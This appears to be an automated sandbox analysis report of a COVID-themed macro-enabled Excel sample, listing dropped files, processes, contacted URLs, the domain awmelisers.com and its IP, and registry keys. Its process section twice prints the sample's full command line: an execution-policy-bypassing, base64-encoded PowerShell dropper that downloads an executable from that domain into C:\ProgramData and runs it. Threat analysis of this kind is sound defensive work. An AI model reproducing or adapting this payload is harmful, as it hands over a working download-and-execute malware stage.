Files
|
File Path
|
Type
|
Category
|
Malicious
|
|
|---|---|---|---|---|
|
COVID.XLSM
|
Microsoft Excel 2007+
|
initial sample
|
 |
|
|
C:\Users\user\Desktop\~$COVID.XLSM
|
data
|
dropped
|
|
|
|
C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\BF4B57C3-D181-4204-9680-790D8457BA20
|
XML 1.0 document, UTF-8 Unicode text, with very long lines, with CRLF line terminators
|
dropped
|
 |
|
|
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\3357C4D0.png
|
PNG image data, 858 x 377, 8-bit colormap, non-interlaced
|
dropped
|
|
|
|
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
|
data
|
dropped
|
|
|
|
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_auo44y4y.l0i.ps1
|
very short file (no magic)
|
dropped
|
|
|
|
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_oq1iqdxz.5cl.psm1
|
very short file (no magic)
|
dropped
|
|
|
|
C:\Users\user\Documents\20210826\PowerShell_transcript.675052.5LFBxafq.20210826072919.txt
|
UTF-8 Unicode (with BOM) text, with very long lines, with CRLF, LF line terminators
|
dropped
|
|
|
|
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\C6078775.png
|
PNG image data, 858 x 377, 8-bit colormap, non-interlaced
|
dropped
|
|
|
|
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)
|
data
|
dropped
|
|
|
|
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\665Y5FDQ12L8FV52M3S3.temp
|
data
|
dropped
|
|
Processes
|
Path
|
Cmdline
|
Malicious
|
|
|---|---|---|---|
|
C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
|
'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding
|
|
|
|
C:\Windows\System32\cmd.exe
|
cmd.exe /c 'powershell -ExecutionPolicy BypasS -ENC ZgB1AG4AYwB0AGkAbwBuACAAUABTAC0ASQBuAHMAdABhAGwAbABlAHIAVgAyACAAewAKACAAIAAgACAAcABhAHIAYQBtACgACgAgACAAIAAgACAAIAAgACAAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAE0AYQBuAGQAYQB0AG8AcgB5AD0AJAB0AHIAdQBlACwAIABQAG8AcwBpAHQAaQBvAG4APQAwACkAXQAKACAAIAAgACAAIAAgACAAIABbAHMAdAByAGkAbgBnAF0AIAAkAGwAaQBuAGsALAAKACAAIAAgACAAIAAgACAAIABbAFAAYQByAGEAbQBlAHQAZQByACgATQBhAG4AZABhAHQAbwByAHkAPQAkAHQAcgB1AGUALAAgAFAAbwBzAGkAdABpAG8AbgA9ADEAKQBdAAoAIAAgACAAIAAgACAAIAAgAFsAcwB0AHIAaQBuAGcAXQAgACQAZQBuAGQAcABvAGkAbgB0ACwACgAgACAAIAAgACAAIAAgACAAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAE0AYQBuAGQAYQB0AG8AcgB5AD0AJAB0AHIAdQBlACwAIABQAG8AcwBpAHQAaQBvAG4APQAyACkAXQAKACAAIAAgACAAIAAgACAAIABbAHMAdAByAGkAbgBnAF0AIAAkAGYAaQBsAGUAXwBkAGkAcgAsAAoAIAAgACAAIAAgACAAIAAgAFsAUABhAHIAYQBtAGUAdABlAHIAKABNAGEAbgBkAGEAdABvAHIAeQA9ACQAdAByAHUAZQAsACAAUABvAHMAaQB0AGkAbwBuAD0AMwApAF0ACgAgACAAIAAgACAAIAAgACAAWwBzAHQAcgBpAG4AZwBdACAAJABmAGkAbABlAF8AbgBhAG0AZQAsAAoAIAAgACAAIAAgACAAIAAgAFsAUABhAHIAYQBtAGUAdABlAHIAKABNAGEAbgBkAGEAdABvAHIAeQA9ACQAdAByAHUAZQAsACAAUABvAHMAaQB0AGkAbwBuAD0ANAApAF0ACgAgACAAIAAgACAAIAAgACAAWwBzAHQAcgBpAG4AZwBdACQAZQB4AHQAZQBuAHMAaQBvAG4ALAAKACAAIAAgACAAIAAgACAAIABbAFAAYQByAGEAbQBlAHQAZQByACgATQBhAG4AZABhAHQAbwByAHkAPQAkAHQAcgB1AGUALAAgAFAAbwBzAGkAdABpAG8AbgA9ADUAKQBdAAoAIAAgACAAIAAgACAAIAAgAFsAYgBvAG8AbABdACAAJAB1AHMAZQBfAGEAYwBjAGUAcwBzACwACgAgACAAIAAgACAAIAAgACAAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAFAAbwBzAGkAdABpAG8AbgA9ADYAKQBdAAoAIAAgACAAIAAgACAAIAAgAFsAcwB0AHIAaQBuAGcAXQAgACQAYQBjAGMAZQBzAHMAXwBzAHQAcgBpAG4AZwAKACAAIAAgACAAKQAKAAoAIAAgACAAIAAkAGkAbgB0AGUAcgBuAGEAbABfAG0AZQBtAG8AcgB5ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAKAAoAIAAgACAAIAAkAHIAZQBxAF8AcwB0AHIAIAA9ACAAJABsAGkAbgBrACAAKwAgACIALwAiACAAKwAgACQAZQBuAGQAcABvAGkAbgB0AAoAIAAgACAAIABpAGYAIAAoACQAdQBzAGUAXwBhAGMAYwBlAHMAcwApACAAewAKACAAIAAgACAAIAAgACAAIAAkAHIAZQBxAF8AcwB0AHIAIAA9ACAAJAByAGUAcQBfAHMAdAByACAAKwAgACIALwAiACAAKwAgACQAYQBjAGMAZQBzAHMAXwBzAHQAcgBpAG4AZwAKACAAIAAgACAAfQAKAAoAIAAgACAAIAAkAHMAYQB2AGUAXwBwAGEAdABoACAAPQAgACQAZgBpAGwAZQBfAGQAaQByACAAKwAgACIAXAAiACAAKwAgACQAZgBpAGwAZQBfAG4AYQBtAGUAIAArACAAIgAuACIAIAArACAAJABlAHgAdABlAG4AcwBpAG8AbgAKAAoAIAAgACAAIAAkAHIAZQBxAHUAZQBzAHQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBDAHIAZQBhAHQAZQAoACIAJAByAGUAcQBfAHMAdAByACIAKQAKACAAIAAgACAAJAByAGUAcwBwAG8AbgBzAGUAIAA9ACAAJAByAGUAcQB1AGUAcwB0AC4ARwBlAHQAUgBlAHMAcABvAG4AcwBlACgAKQAKACAAIAAgACAAJAByAGUAcwBwAG8AbgBzAGUAXwBzAHQAcgBlAGEAbQAgAD0AIAAkAHIAZQBzAHAAbwBuAHMAZQAuAEcAZQB0AFIAZQBzAHAAbwBuAHMAZQBTAHQAcgBlAGEAbQAoACkACgAgACAAIAAgACQAcgBlAHMAcABvAG4AcwBlAF8AcwB0AHIAZQBhAG0ALgBDAG8AcAB5AFQAbwAoACQAaQBuAHQAZQByAG4AYQBsAF8AbQBlAG0AbwByAHkAKQAKAAoAIAAgACAAIABTAGUAdAAtAEMAbwBuAHQAZQBuAHQAIAAkAHMAYQB2AGUAXwBwAGEAdABoACAALQBWAGEAbAB1AGUAIAAkAGkAbgB0AGUAcgBuAGEAbABfAG0AZQBtAG8AcgB5AC4AVABvAEEAcgByAGEAeQAoACkAIAAtAEUAbgBjAG8AZABpAG4AZwAgAEIAeQB0AGUACgAKACAAIAAgACAAJAByAGUAcwBwAG8AbgBzAGUAXwBzAHQAcgBlAGEAbQAuAEMAbABvAHMAZQAoACkACgAgACAAIAAgACQAaQBuAHQAZQByAG4AYQBsAF8AbQBlAG0AbwByAHkALgBDAGwAbwBzAGUAKAApAAoACgAgACAAIAAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcwBhAHYAZQBfAHAAYQB0AGgACgB9AAoACgBQAFMALQBJAG4AcwB0AGEAbABsAGUAcgBWADIAIAAiAGgAdAB0AHAAcwA6AC8ALwBhAHcAbQBlAGwAaQBzAGUAcgBzAC4AYwBvAG0AIgAgACIAYQBwAGkALwB2ADMALwBhAGMAaAB5AHIAYQBuAHQAaABlAHMALwBjAG8AbgB0AHIAYQBwAG8AbABhAHIAaQB6AGEAdABpAG8AbgAvAGsAdQBsAHQAdQByAGsAcgBlAGkAcwAiACAAIgBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAIgAgACIAQQB3AG0AZQBsAGkAcwBlAHIAcwAgAFMAZQByAHYAaQBjAGUAIgAgACIAZQB4AGUAIgAgACQARgBhAGwAcwBlAA=='
|
|
|
|
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
|
powershell -ExecutionPolicy BypasS -ENC ZgB1AG4AYwB0AGkAbwBuACAAUABTAC0ASQBuAHMAdABhAGwAbABlAHIAVgAyACAAewAKACAAIAAgACAAcABhAHIAYQBtACgACgAgACAAIAAgACAAIAAgACAAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAE0AYQBuAGQAYQB0AG8AcgB5AD0AJAB0AHIAdQBlACwAIABQAG8AcwBpAHQAaQBvAG4APQAwACkAXQAKACAAIAAgACAAIAAgACAAIABbAHMAdAByAGkAbgBnAF0AIAAkAGwAaQBuAGsALAAKACAAIAAgACAAIAAgACAAIABbAFAAYQByAGEAbQBlAHQAZQByACgATQBhAG4AZABhAHQAbwByAHkAPQAkAHQAcgB1AGUALAAgAFAAbwBzAGkAdABpAG8AbgA9ADEAKQBdAAoAIAAgACAAIAAgACAAIAAgAFsAcwB0AHIAaQBuAGcAXQAgACQAZQBuAGQAcABvAGkAbgB0ACwACgAgACAAIAAgACAAIAAgACAAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAE0AYQBuAGQAYQB0AG8AcgB5AD0AJAB0AHIAdQBlACwAIABQAG8AcwBpAHQAaQBvAG4APQAyACkAXQAKACAAIAAgACAAIAAgACAAIABbAHMAdAByAGkAbgBnAF0AIAAkAGYAaQBsAGUAXwBkAGkAcgAsAAoAIAAgACAAIAAgACAAIAAgAFsAUABhAHIAYQBtAGUAdABlAHIAKABNAGEAbgBkAGEAdABvAHIAeQA9ACQAdAByAHUAZQAsACAAUABvAHMAaQB0AGkAbwBuAD0AMwApAF0ACgAgACAAIAAgACAAIAAgACAAWwBzAHQAcgBpAG4AZwBdACAAJABmAGkAbABlAF8AbgBhAG0AZQAsAAoAIAAgACAAIAAgACAAIAAgAFsAUABhAHIAYQBtAGUAdABlAHIAKABNAGEAbgBkAGEAdABvAHIAeQA9ACQAdAByAHUAZQAsACAAUABvAHMAaQB0AGkAbwBuAD0ANAApAF0ACgAgACAAIAAgACAAIAAgACAAWwBzAHQAcgBpAG4AZwBdACQAZQB4AHQAZQBuAHMAaQBvAG4ALAAKACAAIAAgACAAIAAgACAAIABbAFAAYQByAGEAbQBlAHQAZQByACgATQBhAG4AZABhAHQAbwByAHkAPQAkAHQAcgB1AGUALAAgAFAAbwBzAGkAdABpAG8AbgA9ADUAKQBdAAoAIAAgACAAIAAgACAAIAAgAFsAYgBvAG8AbABdACAAJAB1AHMAZQBfAGEAYwBjAGUAcwBzACwACgAgACAAIAAgACAAIAAgACAAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAFAAbwBzAGkAdABpAG8AbgA9ADYAKQBdAAoAIAAgACAAIAAgACAAIAAgAFsAcwB0AHIAaQBuAGcAXQAgACQAYQBjAGMAZQBzAHMAXwBzAHQAcgBpAG4AZwAKACAAIAAgACAAKQAKAAoAIAAgACAAIAAkAGkAbgB0AGUAcgBuAGEAbABfAG0AZQBtAG8AcgB5ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAKAAoAIAAgACAAIAAkAHIAZQBxAF8AcwB0AHIAIAA9ACAAJABsAGkAbgBrACAAKwAgACIALwAiACAAKwAgACQAZQBuAGQAcABvAGkAbgB0AAoAIAAgACAAIABpAGYAIAAoACQAdQBzAGUAXwBhAGMAYwBlAHMAcwApACAAewAKACAAIAAgACAAIAAgACAAIAAkAHIAZQBxAF8AcwB0AHIAIAA9ACAAJAByAGUAcQBfAHMAdAByACAAKwAgACIALwAiACAAKwAgACQAYQBjAGMAZQBzAHMAXwBzAHQAcgBpAG4AZwAKACAAIAAgACAAfQAKAAoAIAAgACAAIAAkAHMAYQB2AGUAXwBwAGEAdABoACAAPQAgACQAZgBpAGwAZQBfAGQAaQByACAAKwAgACIAXAAiACAAKwAgACQAZgBpAGwAZQBfAG4AYQBtAGUAIAArACAAIgAuACIAIAArACAAJABlAHgAdABlAG4AcwBpAG8AbgAKAAoAIAAgACAAIAAkAHIAZQBxAHUAZQBzAHQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBDAHIAZQBhAHQAZQAoACIAJAByAGUAcQBfAHMAdAByACIAKQAKACAAIAAgACAAJAByAGUAcwBwAG8AbgBzAGUAIAA9ACAAJAByAGUAcQB1AGUAcwB0AC4ARwBlAHQAUgBlAHMAcABvAG4AcwBlACgAKQAKACAAIAAgACAAJAByAGUAcwBwAG8AbgBzAGUAXwBzAHQAcgBlAGEAbQAgAD0AIAAkAHIAZQBzAHAAbwBuAHMAZQAuAEcAZQB0AFIAZQBzAHAAbwBuAHMAZQBTAHQAcgBlAGEAbQAoACkACgAgACAAIAAgACQAcgBlAHMAcABvAG4AcwBlAF8AcwB0AHIAZQBhAG0ALgBDAG8AcAB5AFQAbwAoACQAaQBuAHQAZQByAG4AYQBsAF8AbQBlAG0AbwByAHkAKQAKAAoAIAAgACAAIABTAGUAdAAtAEMAbwBuAHQAZQBuAHQAIAAkAHMAYQB2AGUAXwBwAGEAdABoACAALQBWAGEAbAB1AGUAIAAkAGkAbgB0AGUAcgBuAGEAbABfAG0AZQBtAG8AcgB5AC4AVABvAEEAcgByAGEAeQAoACkAIAAtAEUAbgBjAG8AZABpAG4AZwAgAEIAeQB0AGUACgAKACAAIAAgACAAJAByAGUAcwBwAG8AbgBzAGUAXwBzAHQAcgBlAGEAbQAuAEMAbABvAHMAZQAoACkACgAgACAAIAAgACQAaQBuAHQAZQByAG4AYQBsAF8AbQBlAG0AbwByAHkALgBDAGwAbwBzAGUAKAApAAoACgAgACAAIAAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcwBhAHYAZQBfAHAAYQB0AGgACgB9AAoACgBQAFMALQBJAG4AcwB0AGEAbABsAGUAcgBWADIAIAAiAGgAdAB0AHAAcwA6AC8ALwBhAHcAbQBlAGwAaQBzAGUAcgBzAC4AYwBvAG0AIgAgACIAYQBwAGkALwB2ADMALwBhAGMAaAB5AHIAYQBuAHQAaABlAHMALwBjAG8AbgB0AHIAYQBwAG8AbABhAHIAaQB6AGEAdABpAG8AbgAvAGsAdQBsAHQAdQByAGsAcgBlAGkAcwAiACAAIgBDADoAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAIgAgACIAQQB3AG0AZQBsAGkAcwBlAHIAcwAgAFMAZQByAHYAaQBjAGUAIgAgACIAZQB4AGUAIgAgACQARgBhAGwAcwBlAA==
|
|
|
|
C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
|
'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
|
|
|
|
C:\Windows\System32\conhost.exe
|
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
|
|
URLs
|
Name
|
IP
|
Malicious
|
|
|---|---|---|---|
|
https://awmelisers.com/api/v3/achyranthes/contrapolarization/kulturkreis
|
unknown
|
|
|
|
https://awmelisers.com
|
unknown
|
|
|
|
https://api.diagnosticssdf.office.com
|
unknown
|
|
|
|
https://login.microsoftonline.com/
|
unknown
|
|
|
|
https://shell.suite.office.com:1443
|
unknown
|
|
|
|
https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize
|
unknown
|
|
|
|
https://go.microsoft.co
|
unknown
|
|
|
|
https://autodiscover-s.outlook.com/
|
unknown
|
|
|
|
https://roaming.edog.
|
unknown
|
|
|
|
https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr
|
unknown
|
|
|
|
https://cdn.entity.
|
unknown
|
|
|
|
https://api.addins.omex.office.net/appinfo/query
|
unknown
|
|
|
|
https://clients.config.office.net/user/v1.0/tenantassociationkey
|
unknown
|
|
|
|
https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/
|
unknown
|
|
|
|
https://powerlift.acompli.net
|
unknown
|
|
|
|
https://rpsticket.partnerservices.getmicrosoftkey.com
|
unknown
|
|
|
|
https://lookup.onenote.com/lookup/geolocation/v1
|
unknown
|
|
|
|
https://cortana.ai
|
unknown
|
|
|
|
https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
|
unknown
|
|
|
|
https://cloudfiles.onenote.com/upload.aspx
|
unknown
|
|
|
|
https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
|
unknown
|
|
|
|
https://entitlement.diagnosticssdf.office.com
|
unknown
|
|
|
|
https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy
|
unknown
|
|
|
|
https://api.aadrm.com/
|
unknown
|
|
|
|
https://ofcrecsvcapi-int.azurewebsites.net/
|
unknown
|
|
|
|
https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies
|
unknown
|
|
|
|
https://api.microsoftstream.com/api/
|
unknown
|
|
|
|
https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive
|
unknown
|
|
|
|
https://cr.office.com
|
unknown
|
|
|
|
https://nuget.org/nuget.exe
|
unknown
|
|
|
|
https://portal.office.com/account/?ref=ClientMeControl
|
unknown
|
|
|
|
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
|
unknown
|
|
|
|
https://graph.ppe.windows.net
|
unknown
|
|
|
|
https://res.getmicrosoftkey.com/api/redemptionevents
|
unknown
|
|
|
|
https://powerlift-frontdesk.acompli.net
|
unknown
|
|
|
|
https://tasks.office.com
|
unknown
|
|
|
|
https://officeci.azurewebsites.net/api/
|
unknown
|
|
|
|
https://sr.outlook.office.net/ws/speech/recognize/assistant/work
|
unknown
|
|
|
|
https://store.office.cn/addinstemplate
|
unknown
|
|
|
|
http://pesterbdd.com/images/Pester.png
|
unknown
|
|
|
|
http://www.apache.org/licenses/LICENSE-2.0.html
|
unknown
|
|
|
|
https://go.micro
|
unknown
|
|
|
|
https://outlook.office.com/autosuggest/api/v1/init?cvid=
|
unknown
|
|
|
|
https://globaldisco.crm.dynamics.com
|
unknown
|
|
|
|
https://contoso.com/Icon
|
unknown
|
|
|
|
https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
|
unknown
|
|
|
|
https://store.officeppe.com/addinstemplate
|
unknown
|
|
|
|
https://dev0-api.acompli.net/autodetect
|
unknown
|
|
|
|
https://www.odwebp.svc.ms
|
unknown
|
|
|
|
https://api.powerbi.com/v1.0/myorg/groups
|
unknown
|
|
|
|
https://web.microsoftstream.com/video/
|
unknown
|
|
|
|
https://graph.windows.net
|
unknown
|
|
|
|
https://dataservice.o365filtering.com/
|
unknown
|
|
|
|
https://github.com/Pester/Pester
|
unknown
|
|
|
|
https://officesetup.getmicrosoftkey.com
|
unknown
|
|
|
|
https://analysis.windows.net/powerbi/api
|
unknown
|
|
|
|
https://prod-global-autodetect.acompli.net/autodetect
|
unknown
|
|
|
|
https://outlook.office365.com/autodiscover/autodiscover.json
|
unknown
|
|
|
|
https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios
|
unknown
|
|
|
|
https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
|
unknown
|
|
|
|
https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json
|
unknown
|
|
|
|
https://ncus.contentsync.
|
unknown
|
|
|
|
https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false
|
unknown
|
|
|
|
https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/
|
unknown
|
|
|
|
http://weather.service.msn.com/data.aspx
|
unknown
|
|
|
|
https://apis.live.net/v5.0/
|
unknown
|
|
|
|
https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks
|
unknown
|
|
|
|
https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios
|
unknown
|
|
|
|
https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml
|
unknown
|
|
|
|
https://management.azure.com
|
unknown
|
|
|
|
https://wus2.contentsync.
|
unknown
|
|
|
|
https://incidents.diagnostics.office.com
|
unknown
|
|
|
|
https://clients.config.office.net/user/v1.0/ios
|
unknown
|
|
|
|
https://insertmedia.bing.office.net/odc/insertmedia
|
unknown
|
|
|
|
https://o365auditrealtimeingestion.manage.office.com
|
unknown
|
|
|
|
https://contoso.com/License
|
unknown
|
|
|
|
https://outlook.office365.com/api/v1.0/me/Activities
|
unknown
|
|
|
|
https://api.office.net
|
unknown
|
|
|
|
https://incidents.diagnosticssdf.office.com
|
unknown
|
|
|
|
https://asgsmsproxyapi.azurewebsites.net/
|
unknown
|
|
|
|
https://clients.config.office.net/user/v1.0/android/policies
|
unknown
|
|
|
|
https://entitlement.diagnostics.office.com
|
unknown
|
|
|
|
https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json
|
unknown
|
|
|
|
https://substrate.office.com/search/api/v2/init
|
unknown
|
|
|
|
https://outlook.office.com/
|
unknown
|
|
|
|
https://storage.live.com/clientlogs/uploadlocation
|
unknown
|
|
|
|
https://outlook.office365.com/
|
unknown
|
|
|
|
https://webshell.suite.office.com
|
unknown
|
|
|
|
https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive
|
unknown
|
|
|
|
https://substrate.office.com/search/api/v1/SearchHistory
|
unknown
|
|
|
|
https://contoso.com/
|
unknown
|
|
|
|
https://management.azure.com/
|
unknown
|
|
|
|
https://login.windows.net/common/oauth2/authorize
|
unknown
|
|
|
|
https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile
|
unknown
|
|
|
|
https://graph.windows.net/
|
unknown
|
|
|
|
https://api.powerbi.com/beta/myorg/imports
|
unknown
|
|
|
|
https://devnull.onenote.com
|
unknown
|
|
|
|
https://ncus.pagecontentsync.
|
unknown
|
|
|
|
https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json
|
unknown
|
|
|
|
https://messaging.office.com/
|
unknown
|
|
|
|
https://awmelisers.comp
|
unknown
|
|
|
|
http://www.piriform.com/ccleaner
|
unknown
|
|
|
|
http://www.%s.comPA
|
unknown
|
|
|
|
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
|
unknown
|
|
|
|
https://awmelisers.comPE
|
unknown
|
|
|
|
https://awmelisers.com/0
|
unknown
|
|
There are 96 hidden URLs, click here to show them.
Domains
|
Name
|
IP
|
Malicious
|
|
|---|---|---|---|
|
awmelisers.com
|
206.81.23.172
|
|
IPs
|
IP
|
Domain
|
Country
|
Malicious
|
|
|---|---|---|---|---|
|
206.81.23.172
|
awmelisers.com
|
United States
|
|
|
|
192.168.2.1
|
unknown
|
unknown
|
|
Registry
|
Path
|
Value
|
Malicious
|
|
|---|---|---|---|
|
C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
|
7l
|
|
|
|
C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
|
8l
|
|
|
|
C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
|
RemoteClearDate
|
|
|
|
C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
|
Last
|
|
|
|
C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
|
FilePath
|
|
|
|
C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
|
StartDate
|
|
|
|
C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
|
EndDate
|
|
|
|
C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
|
Properties
|
|
|
|
C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
|
Url
|
|
|
|
C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
|
LastClean
|
|
|
|
C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
|
DisableWinHttpCertAuth
|
|
|
|
C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
|
DisableIsOwnerRegex
|
|
|
|
C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
|
DisableSessionAwareHttpClose
|
|
|
|
C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
|
DisableADALForExtendedApps
|
|
|
|
C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
|
DisableADALSetSilentAuth
|
|
|
|
C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
|
msoridDisableGuestCredProvider
|
|
|
|
C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
|
msoridDisableOstringReplace
|
|
|
|
C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
|
LastBootTime
|
|
|
|
C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
|
VBAFiles
|
|
|
|
C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
|
MSForms
|
|
|
|
C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
|
MSComctlLib
|
|
|
|
C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
|
ReviewToken
|
|
|
|
C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
|
4CDAD
|
|
|
|
C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
|
1q
|
|
|
|
C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
|
5BABD
|
|
|
|
C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
|
5BC24
|
|
|
|
C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
|
ProductFiles
|
|
|
|
C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
|
en-US
|
|
|
|
C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
|
en-US
|
|
|
|
C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
|
EXCELFiles
|
|
|
|
C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
|
RoamingConfigurableSettings
|
|
|
|
C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
|
RoamingLastSyncTime
|
|
|
|
C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
|
RoamingLastWriteTime
|
|
|
|
C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
|
LastBootTime
|
|
|
|
C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
|
LastPurgeTime
|
|
|
|
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
|
EnableFileTracing
|
|
|
|
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
|
EnableAutoFileTracing
|
|
|
|
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
|
EnableConsoleTracing
|
|
|
|
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
|
FileTracingMask
|
|
|
|
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
|
ConsoleTracingMask
|
|
|
|
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
|
MaxFileSize
|
|
|
|
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
|
FileDirectory
|
|
|
|
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
|
EnableFileTracing
|
|
|
|
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
|
EnableAutoFileTracing
|
|
|
|
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
|
EnableConsoleTracing
|
|
|
|
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
|
FileTracingMask
|
|
|
|
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
|
ConsoleTracingMask
|
|
|
|
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
|
MaxFileSize
|
|
|
|
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
|
FileDirectory
|
|
|
|
C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
|
k'3
|
|
|
|
C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
|
MTTT
|
|
|
|
C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
|
VBAFiles
|
|
|
|
C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
|
ReviewToken
|
|
|
|
C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
|
EC7B2
|
|
|
|
C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
|
c&3
|
|
|
|
C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
|
Max Display
|
|
|
|
C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
|
Max Display
|
|
|
|
C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
|
Item 1
|
|
|
|
C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
|
Item 2
|
|
|
|
C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
|
Item 3
|
|
|
|
C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
|
Item 4
|
|
|
|
C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
|
Item 5
|
|
|
|
